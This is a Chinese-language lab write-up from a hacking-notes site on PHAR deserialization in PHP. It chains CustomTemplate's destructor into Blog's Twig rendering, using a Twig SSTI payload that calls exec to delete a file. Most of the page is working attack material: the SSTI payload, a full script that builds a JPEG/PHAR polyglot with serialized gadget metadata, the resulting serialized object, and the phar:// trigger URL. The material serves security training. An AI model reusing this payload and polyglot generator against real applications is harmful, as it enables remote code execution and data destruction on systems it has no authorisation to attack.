> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/deserialization/phar-deserialization-with-custom-chain.md).

# 使用自定义链的 PHAR 反序列化

### 使用 PHAR 反序列化部署自定义 Gadget 链

这个实验不会 **不** 执行显式的经典反序列化。思路是 **触发** 通过利用 PHP 在处理包装器时的行为来触发反序列化 **`phar://`**，以便达到一个 **RCE** 通过一个 **自定义 gadget 链**，然后删除：

* `/home/carlos/morale.txt`

提供的标识符：

* `wiener:peter`

<figure><img src="/files/43df7398fdcf7f9f071f9c6f3d351ea8b1c12e28" alt=""><figcaption></figcaption></figure>

### (1) 应用侧标记

#### 头像上传

认证后，你可以 **上传文件** 通过头像功能上的 POST 请求上传文件。1) 应用侧标记

<figure><img src="/files/3af815b8f1e14dd93e1a48f77b362a2f7487585b" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="/files/94d27e4d2fb69913ffbe8675d50baf1c9ccaa027" alt=""><figcaption></figcaption></figure>

当你点击个人资料图片时，通过以下方式触发加载：

* `/cgi-bin/avatar.php?avatar=wiener`

<figure><img src="/files/b455aa3e06261f4e2d28455a8f83998943103784" alt=""><figcaption></figcaption></figure>

#### 位于以下位置的可读文件 `/cgi-bin/`

访问时 `/cgi-bin/`，有几个文件是 **可读的** （用于获取代码并构造字符串）。

| 名称                    | 大小    |
| --------------------- | ----- |
| CustomTemplate.php    | 1091B |
| CustomTemplate.php/\~ | 0B    |
| Blog.php              | 628B  |
| Blog.php/\~           | 0B    |
| avatar.php            | 540B  |

<figure><img src="/files/3beaf368b02b9a8080310c792362fc5afef57a1e" alt=""><figcaption></figcaption></figure>

#### 2）恢复的源代码

#### `blog.php`

有一个 `Blog` 在以下方法中初始化 Twig 的类 `__wakeup()`:

* `__sleep()` 进行序列化 `用户` 和 `desc`
* `__wakeup()` 构建一个 `Twig_Environment` 其模板基于 `desc`
* `__toString()` 渲染 `index` 并注入 `用户`

重要一点： `desc` 会直接变成一个 **Twig 模板**，因此可用于针对 **SSTI（服务器端模板注入）**.

```php
<?php

require_once('/usr/local/envs/php-twig-1.19/vendor/autoload.php');

class Blog {
    public $user;
    public $desc;
    private $twig;

    public function __construct($user, $desc) {
        $this->user = $user;
        $this->desc = $desc;
    }

    public function __toString() {
        return $this->twig->render('index', ['user' => $this->user]);
    }

    public function __wakeup() {
        $loader = new Twig_Loader_Array([
            'index' => $this->desc,
        ]);
        $this->twig = new Twig_Environment($loader);
    }

    public function __sleep() {
        return ["user", "desc"];
    }
}

?>
```

#### `CustomTemplate.php`

该 `CustomTemplate` 类包含：

* 一个私有的 `$template_file_path` 字段
* 一个 `__destruct()` 会执行以下操作的析构函数：
* `@unlink($this->lockFilePath());`

`lockFilePath()` 构造：

* `'templates/' . $this->template_file_path . '.lock'`

因此，如果我们控制 `template_file_path` 为一个可转换为字符串的对象，我们就可以影响由 `unlink()`.

```php
<?php

class CustomTemplate {
    private $template_file_path;

    public function __construct($template_file_path) {
        $this->template_file_path = $template_file_path;
    }

    private function isTemplateLocked() {
        return file_exists($this->lockFilePath());
    }

    public function getTemplate() {
        return file_get_contents($this->template_file_path);
    }

    public function saveTemplate($template) {
        if (!isTemplateLocked()) {
            if (file_put_contents($this->lockFilePath(), "") === false) {
                throw new Exception("Could not write to " . $this->lockFilePath());
            }
            if (file_put_contents($this->template_file_path, $template) === false) {
                throw new Exception("Could not write to " . $this->template_file_path);
            }
        }
    }

    function __destruct() {
        // Carlos 认为这会是个好主意
        @unlink($this->lockFilePath());
    }

    private function lockFilePath()
    {
        return 'templates/' . $this->template_file_path . '.lock';
    }
}

?>
```

#### 3）Twig 有效负载（SSTI → 执行）

使用的 Twig 负载：

目标：执行 `rm /home/carlos/morale.txt`.

```php
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("rm /home/carlos/morale.txt")}}
```

### 4）操作策略：多态 PHAR

挑战点：上传只接受一个 **image**。/ 解决方案：创建一个 **多态文件** 文件：

* 既可作为 **JPEG**
* 但其中包含一个 **PHAR** （tar/phar 格式），并带有 **元数据** 已序列化的

为什么它有效？

* 当 PHP 通过以下方式打开资源时 `phar://...`，它可以触发读取 PHAR 清单并 **反序列化某些元数据** （因此会运行 `__wakeup`, `__destruct`等，具体取决于字符串）。

```php
<?php


function generate_base_phar($o, $prefix){
    global $tempname;
    @unlink($tempname);
    $phar = new Phar($tempname);
    $phar->startBuffering();
    $phar->addFromString("test.txt", "test");
    $phar->setStub("$prefix<?php __HALT_COMPILER(); ?>");
    $phar->setMetadata($o);
    $phar->stopBuffering();

    $basecontent = file_get_contents($tempname);
    @unlink($tempname);
    return $basecontent;
}

function generate_polyglot($phar, $jpeg){
    $phar = substr($phar, 6); // 删除 <?php，带前缀时无法工作
    $len = strlen($phar) + 2; // 固定
    $new = substr($jpeg, 0, 2) . "/xff/xfe" . chr(($len >> 8) & 0xff) . chr($len & 0xff) . $phar . substr($jpeg, 2);
    $contents = substr($new, 0, 148) . "        " . substr($new, 156);

    // 计算 tar 校验和
    $chksum = 0;
    for ($i=0; $i<512; $i++){
        $chksum += ord(substr($contents, $i, 1));
    }
    // 嵌入校验和
    $oct = sprintf("%07o", $chksum);
    $contents = substr($contents, 0, 148) . $oct . substr($contents, 155);
    return $contents;
}


// 利用链类
class Blog {}
class CustomTemplate {}
$blog = new Blog();
$blog->user = "pwned";
$blog->desc = '{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("rm /home/carlos/morale.txt")}}';
$object = new CustomTemplate();
$object->template_file_path = $blog;




// JPG 配置
$tempname = 'temp.tar.phar'; // 使其成为 tar
$jpeg = file_get_contents('in.jpg');
$outfile = 'out.jpg';
$payload = $object;
$prefix = '';

var_dump(serialize($object));


// 生成 jpg
file_put_contents($outfile, generate_polyglot(generate_base_phar($payload, $prefix), $jpeg));

/*
// GIF 配置
$prefix = "/x47/x49/x46/x38/x39/x61" . "/x2c/x01/x2c/x01"; // gif 头部，大小 300 x 300
$tempname = 'temp.phar'; // 使其成为 phar
$outfile = 'out.gif';

// 生成 gif
file_put_contents($outfile, generate_base_phar($payload, $prefix));

*/

```

### 5）构建的 Gadget 链

你构造：

* 一个 `Blog` 包含以下内容的对象：
* `user = "pwned"`
* `desc = <Twig SSTI 负载>`
* 然后把这个对象放入 `CustomTemplate->template_file_path`

这样，当 `CustomTemplate` 被销毁时， `lockFilePath()` 会将对象中的一个值拼接起来，这会强制进行字符串转换 → 调用 `Blog::__toString()` → 触发 `twig->render()` → 解释 `desc` → 执行命令。

```bash
php -c php.ini phar_jpg_polyglot.php
```

<figure><img src="/files/8a5b544d909e97b9646861ef80b70b36f8e41c43" alt=""><figcaption></figcaption></figure>

{% code overflow="wrap" %}

```json
string(216) "O:14:\"CustomTemplate\":1:{s:18:\"template_file_path\";O:4:\"Blog\":2:{s:4:\"user\";s:5:\"pwned\";s:4:\"desc\";s:106:\"{{_self.env.registerUndefinedFilterCallback(\"exec\")}}{{_self.env.getFilter(\"rm /home/carlos/morale.txt\")}}\";}}"
```

{% endcode %}

* 上传 `out.jpg` 作为头像

<figure><img src="/files/476c04f059af028e4ea4fdb0f00b29058546e8fd" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/6ff0829bcc77251d476598339ed33f9873c229c3" alt=""><figcaption></figcaption></figure>

通过以下方式调用资源 `phar://`:

* `cgi-bin/avatar.php?avatar=phar://wiener`

此时，应用会使用 PHAR 包装器打开资源，元数据被反序列化，字符串触发，并且文件：

* `/home/carlos/morale.txt`


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/zh/web/deserialization/phar-deserialization-with-custom-chain.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
